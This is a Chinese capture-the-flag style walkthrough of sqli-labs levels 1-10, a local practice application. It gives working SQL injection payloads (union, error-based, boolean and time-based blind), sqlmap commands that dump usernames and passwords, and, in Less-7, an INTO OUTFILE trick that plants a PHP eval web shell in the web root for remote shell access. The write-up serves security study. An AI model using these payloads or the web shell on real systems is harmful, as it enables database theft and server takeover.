sqli-labs-通关writeup 1-10

Less 1-10

文章目录

  • Less 1-10
    • Less-1 基于错误的GET单引号字符型注入
    • Less-2 基于错误的GET整型注入
    • Less-3 基于错误的GET单引号变形字符型注入
    • Less-4 基于错误的GET双引号字符型注入
    • Less-5 双注入GET单引号字符型注入
    • Less-6 双注入GET双引号字符型注入
    • Less-7 导出文件GET字符型注入
    • Less-8 布尔型单引号GET盲注
    • Less-9 基于时间的GET单引号盲注
    • Less-10 基于时间的双引号盲注

Less-1 基于错误的GET单引号字符型注入


  • 0x01 手动union联合查询注入
    输入单引号,页面报错,输入两个单引号,回显正常 ,说明存在字符型sql输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  

sqli-labs-通关writeup 1-10_第1张图片

根据报错信息,可以确定传入参数被存到一对单引号之间
猜想sql语句大概这样:
select * from user where id='1'
闭合方法: 通过单引号闭合前面的单引号 然后注释掉后面的内容

  • sql中的几种注释

    1. # / %23(url编码)
    2. –空格 / --+
    3. /* … */
  • 开工

  1. 通过order by查询字段数

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+
    字段数先取4,报错(说第4列未知)
    sqli-labs-通关writeup 1-10_第2张图片 字段数取3后页正常显示

  2. 测试回显位置

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
    要执行union后的语句就要让union前的查询语句不正确,取id=-1或0(只要不存在就ok)
    通过回显可位可知, 2,3字段位置有回显

  3. 爆数据库名
    先介绍几个重要函数:
    database() # 当前数据库
    user() #当前用户
    version() #数据库版本信息

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
    sqli-labs-通关writeup 1-10_第3张图片

    由回显信息可知, 数据库名为 “security”

  4. 爆表名

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
    sqli-labs-通关writeup 1-10_第4张图片

    发现只能显示一个表名, 查看源码发现后台 使用 limit 限制回显行数
    可以通过通过group_concat()函数显示多个字段

    group_concat() #把一个字段的所有行的结果连在一起返回
    sqli-labs-通关writeup 1-10_第5张图片

  5. 爆字段名

    payload:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    sqli-labs-通关writeup 1-10_第6张图片

  6. 爆内容

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users--+
    sqli-labs-通关writeup 1-10_第7张图片 > concat_ws函数,用指定字符 [拼接] 指定内容
    0x3a 表示十六进制的 : (冒号)

  • 0x02 手动报错型注入

    payload:
    payload1: ?id=1' and 1=1
    sqli-labs-通关writeup 1-10_第8张图片payload2: ?id=1' and 1=2
    sqli-labs-通关writeup 1-10_第9张图片 证明存在报错注入

几种重要的报错注入函数:
>
> updatexml() #MYSQL对XML文档数据进行查询和修改的XPATH函数.
> extractvalue() #MYSQL对XML文档数据进行查询的XPATH函数.
> floor() # MYSQL中用来取整的函数
> concat 把传进去的两个参数组合成一个完整的参数再打印出 0x7e为 ~ 的16进制(避免报错内容不被吃掉(也可用其他符号的16进制))

开始注入:

  1. 爆库名

    payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+
    sqli-labs-通关writeup 1-10_第10张图片 由图可知, 数据库名与报错信息一起被回显到页面

  2. 爆表名

    payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
    sqli-labs-通关writeup 1-10_第11张图片

    报错提示Subquery returns more than 1 row
    原因是报错只能依次显示一行, 我们可以使用limit限制回显行数
    payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
    sqli-labs-通关writeup 1-10_第12张图片

    通过改变limit a,1 中a的值, 依次爆出security中的表为:
    emails, referers, uagents, users

  3. 爆字段名

    payload: ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)--+
    sqli-labs-通关writeup 1-10_第13张图片

    具体操作同上, 依次爆出字段名为:
    id, username, password

  4. 爆内容

    payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x3a,id,username,password) from security.users limit 0,1)),0)--+
    sqli-labs-通关writeup 1-10_第14张图片

0x03 通过工具sqlmap自动注入(至少Less-1~Less-10可用该方法测试)

  1. 自动扫描漏洞

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1
    sqli-labs-通关writeup 1-10_第15张图片

  2. 爆数据库名

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs
    sqli-labs-通关writeup 1-10_第16张图片

  3. 爆库security中的表名

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables
    sqli-labs-通关writeup 1-10_第17张图片

  4. 爆表users中的字段名

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
    sqli-labs-通关writeup 1-10_第18张图片

  5. 爆内容

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,username,password --dump
    sqli-labs-通关writeup 1-10_第19张图片

    Game Over~~

后面内容每道题仅介绍一种方式进行注入测试


Less-2 基于错误的GET整型注入

类似于Less-1,甚至还比Less-1要简单----->>>话不多说,直接开干

先丢个单引号试试水,发现直接报错
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
sqli-labs-通关writeup 1-10_第20张图片

报错内容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

由单引号中内容可猜想sql语句:(整型注入)
select * from users where id=1;
或者也可以通过布尔值报错的方式判断是否为整型注入
先用and 1=1 试试, and表示并列,只有当and两边均为true时才为真
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1--+
sqli-labs-通关writeup 1-10_第21张图片

发现正常回显, 再用and 1=2 试试
sqli-labs-通关writeup 1-10_第22张图片

发现无回显, 说明 and 后面的内容参与后台数据库逻辑运算, 可判断此处存在注入, 而且是整型注入

  1. 用order by 爆字段数

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+

  1. 爆数据库名

payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
也可以以用
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆所有数据库
sqli-labs-通关writeup 1-10_第23张图片

  1. 爆表名(换个库玩玩,爆一下day1中的表)

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='day1--+
sqli-labs-通关writeup 1-10_第24张图片

  1. 爆字段名(flag表中的字段)

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+
sqli-labs-通关writeup 1-10_第25张图片
发现只有一个字段, 字段名也为flag

  1. 爆内容

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,flag,3 from day1.flag--+
sqli-labs-通关writeup 1-10_第26张图片

成功爆出flag, Game Over
如果想要爆数据库security, 操作与Less-1类似…
Game Over~~


Less-3 基于错误的GET单引号变形字符型注入

输入单引号,报错
sqli-labs-通关writeup 1-10_第27张图片

根据报错信息单引号中的内容可猜测SQL语句为:
select * from 表名 where id=( ‘1’ ) …
用布尔报错证明:

payload: ?id=1' and 1=1--+
sqli-labs-通关writeup 1-10_第28张图片
还是报错,加有括号( ) )试试
payload: ?id=1') and 1=1--+
sqli-labs-通关writeup 1-10_第29张图片
发现加括号后回显正常,证明猜想正确
也可以看看源码:(推荐做完题看源码, 了解php传参语句, 过滤语句)
228c5c6b45efd478ba14ae405ef1bb8a.png
源码显示结果也与猜想一致

然后就依次:

  • 爆库
  • 爆表
  • 爆字段
  • 爆内容

具体操作步骤同上面Less-1和Less-2


Less-4 基于错误的GET双引号字符型注入

与Less-3几乎一样, 将payload中的单引号换做双引号就OK


Less-5 双注入GET单引号字符型注入

输入单引号,报错,输入两个单引号,正常回显,可判断此处存在注入
通过布尔进行验证猜想
payload1: ?id=1' and 1=1

payload2: ?id=1' and 1=2

发现and后面为真时, 有回显 , 为假时无回显

  • 为真时:
    sqli-labs-通关writeup 1-10_第30张图片
  • 为假时:
    sqli-labs-通关writeup 1-10_第31张图片

不管如何深入测试,页面只显示"You are in…",以为是盲注, 查看源码后才的知, 参数进去执行后的数据结果根本没打印,只要正确执行就打印"You are in…"
sqli-labs-通关writeup 1-10_第32张图片
立马…还是没想到(原来是传说中的双注入)
双注入(双查询): 其实就是一个select语句中再嵌套一个select语句

极端的问题需要极端的手段来解决, 既然无法正确显示, 那就逆着来呗, 给它整一个错误回显, 把想要的内容同报错信息一起显示出来(所谓的报错注入…)

  • 想法有了,实际操作呢?
    别慌…先来了解常用几个报错函数:

updatexml() #MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() #MYSQL对XML文档数据进行查询的XPATH函数.
floor() # MYSQL中用来取整的函数

payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+
其中concat: 把传进去的两个参数组合成一个完整的参数再打印出 0x7e为 ~ 的16进制(避免报错内容不被吃掉(也可用其他符号的16进制))

sqli-labs-通关writeup 1-10_第33张图片

可以看出数据库信息和报错信息一起被回显 到页面

现在按注入顺序进行注入:

  1. 爆库名

payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+

  1. 报表名

payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
sqli-labs-通关writeup 1-10_第34张图片
由于报错只能一次显式一行, 所以我们使用limit 逐次进行表名获取(也可以使用 group_concat(table_name)全部打印)
payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
sqli-labs-通关writeup 1-10_第35张图片
爆出数据库’security’ 中的第一个表 ‘email’
接着爆后面的表,将limit 0,1 依次换成limit 1,1\ limit 2,1…
sqli-labs-通关writeup 1-10_第36张图片
sqli-labs-通关writeup 1-10_第37张图片
sqli-labs-通关writeup 1-10_第38张图片
依次爆出 第二个表为 ‘referers’ ,第三个表为’uagents’ , 第四个表为 ‘users’
当开始爆下一个表的时候:
sqli-labs-通关writeup 1-10_第39张图片
无回显, 说明当前数据库只有四个表

  1. 爆表users中字段名

payload: ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)--+
操作同2, 依次爆出表users中的字段为’id, username, password’ 三个字段

  1. 爆字段username和password中的内容

payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1)),0)--+
sqli-labs-通关writeup 1-10_第40张图片
其他内容也是通过改变limit的值依次获取
Game Over~~


Less-6 双注入GET双引号字符型注入

操作流程同Less-5一模一样, 只需要将payload中的单引号换做双引号就OK, 此处不再赘述


Less-7 导出文件GET字符型注入

into outfile: 写入文件操作

前提:
1. 文件名必须是全路径(绝对路径)
2. 用户必须有写文件的权限
3. 没有对单引号’过滤

路径里面两个反斜杠\可以换成一个正斜杠/PHP 语句没有单引号的话,必须转换成十六进制要是想省略单引号'的话,必须转换成十六进制

常用一句话格式:

 eval(\$_POST["admin"]); ?>
 eval(\$_GET["admin"]); ?>
 @eval(\$_POST["admin"]); ?>
 phpinfo(); ?>
 eval($_POST["admin"]); ?>
有时候得写成
 eval(\\\$_POST["admin"]); ?>

payload:?id=-1')) union select 1,2,'' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\demo.php"--+
PS: 为一句话木马,这里不再赘述.
sqli-labs-通关writeup 1-10_第41张图片
虽然回显报错,但是查看本地文件已经写入了demo.php
sqli-labs-通关writeup 1-10_第42张图片
接下来,上蚁剑(先在本地浏览器访问一下(即运行)上传的文件,否则不然连不上)
129c82cf80f6d719494deeebf3792cfa.png
sqli-labs-通关writeup 1-10_第43张图片
sqli-labs-通关writeup 1-10_第44张图片
sqli-labs-通关writeup 1-10_第45张图片
连接成功,然后便可以反键进入终端shell操作, 此处不再赘述.
PS: 需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。


Less-8 布尔型单引号GET盲注

题目名字暴露一切.布尔值无非为真和为假
先介绍几基于盲注的函数:

length: 用来计算数据库表名长度
concat(): 没有分隔符的连接字符串
concat_ws(): 含有分隔符地连接字符串
group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
substr(): 截取支付串
mid(): 截取字符串
ascii(): 返回字符串的数值(ASCII返回值是0-255)
ord(): 返回字符串数值

  1. 简单测试
    布尔真时:

payload: ?id=1' and 1=1--+
sqli-labs-通关writeup 1-10_第46张图片
回显 You are in…
布尔假时:
payload: ?id=1' and 1=2--+
sqli-labs-通关writeup 1-10_第47张图片
回显为空

  1. 通过order by测试字段数

payload: ?id=1' order by 3--+

  1. 构造payload,测试数据库名长度

payload: ?id=1' and length(database())=8--+

同理表名段名

  1. 爆库名

payload: ?id=1' and mid(database(),1,1)='s'--+
回显正常即字符匹配成功
sqli-labs-通关writeup 1-10_第48张图片
即数据库第一个字符为’s’, 接下来测第二个字符
payload: ?id=1' and mid(database(),2,1)='e'--+
即依次将mid()函数第二个参数1,2,3…8
所得字符依次为 security, 即数据库名为security

上述方法查询比较费时费力, 可以使用ascii函数直接查询字符对应的数值

payload: ?id=1' and ascii(mid(database(),1,1))>100--+
sqli-labs-通关writeup 1-10_第49张图片
布尔值为真时回都显为You are in…
可以通过使用二分法,减少查询时间
sqli-labs-通关writeup 1-10_第50张图片
sqli-labs-通关writeup 1-10_第51张图片
sqli-labs-通关writeup 1-10_第52张图片
sqli-labs-通关writeup 1-10_第53张图片
可知第一个字符的ASCII大于114,但不大于115,即该字符的ASCII值为115,对应的字符为s
后面字符测试与上述一致,只需改变mid()函数第二个参数即可(其中mid()函数也可用substr()函数代替)
依次可得库名所含字符的ascii值为115, 101, 99, 117, 114, 105, 116, 121, 所对应的字符依次为security

  1. 爆表名

payload: ?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=101--+
测试方法与上述一致, 只需将limit 0,1中0依次改变为1,2,3…即可查询第一,二,三…个表名
依次测得表名为emails, referers, uagents, users

  1. 爆列名

payload: ?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>104--+
依次可得列名为: id, username, password

  1. 查数据(以第一行数据为例)

payload: ?id=1' and ascii(mid((select password from security.users limit 0,1),1,1))=68--+
依次可得第一行数据的password为Dumb, password为Dumb
其他数据可自行尝试.
Game Over~~


Less-9 基于时间的GET单引号盲注

由题目可知,本关为盲注
先安利一个函数:
if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b
这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写 payload 了:(正确的时
候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

  1. 测试数据库长度

payload: ?id=1' and if(length(database())=8,sleep(5),1)--+
即长度为8时会等待5秒

  1. 爆数据库

payload: ?id=1' and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
ASCII值为115,说明第一位字符为 s

payload: ?id=1' and if(ascii(mid(database(),2,1))=101,sleep(5),1)--+
ASCII值为101,说明第二位字符为 e


以此类推,可得数据库名为 security

  1. 爆表名

payload: ?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
ASCII值为101, 说明第一个表的第一位字符为 e

以此类推可得第一个表的名称为 emails

payload: ?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+
ASCII值为114, 说明第一个表的第一位字符为 r

以此类推可得第一个表的名称为 referers


再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
4. 爆users表的列名

payload: ?id=1' and if(ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
ASCII值为105, 说明第一个表的第一位字符为 i

以此类推, 可得users表的所有列名为 id, username, password

以上便是基于时间的盲注的所有内容
如果想测试内容的可自行测试, 方法同上
Game Over~~


Less-10 基于时间的双引号盲注

从标题就可以看到 《基于时间-双引号》,所以很明显的这关要我们利用延时注入
进行,同时 id 参数进行的是 “ 的处理。和 less9 的区别就在于单引号(‘)变成了(“),我
们这里给出一个 payload 示例,其他的请参考 less-9
爆数据库

payload: ?id=1" and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
其余的请参考Less-9

Game Over~~

你可能感兴趣的:(Sql注入)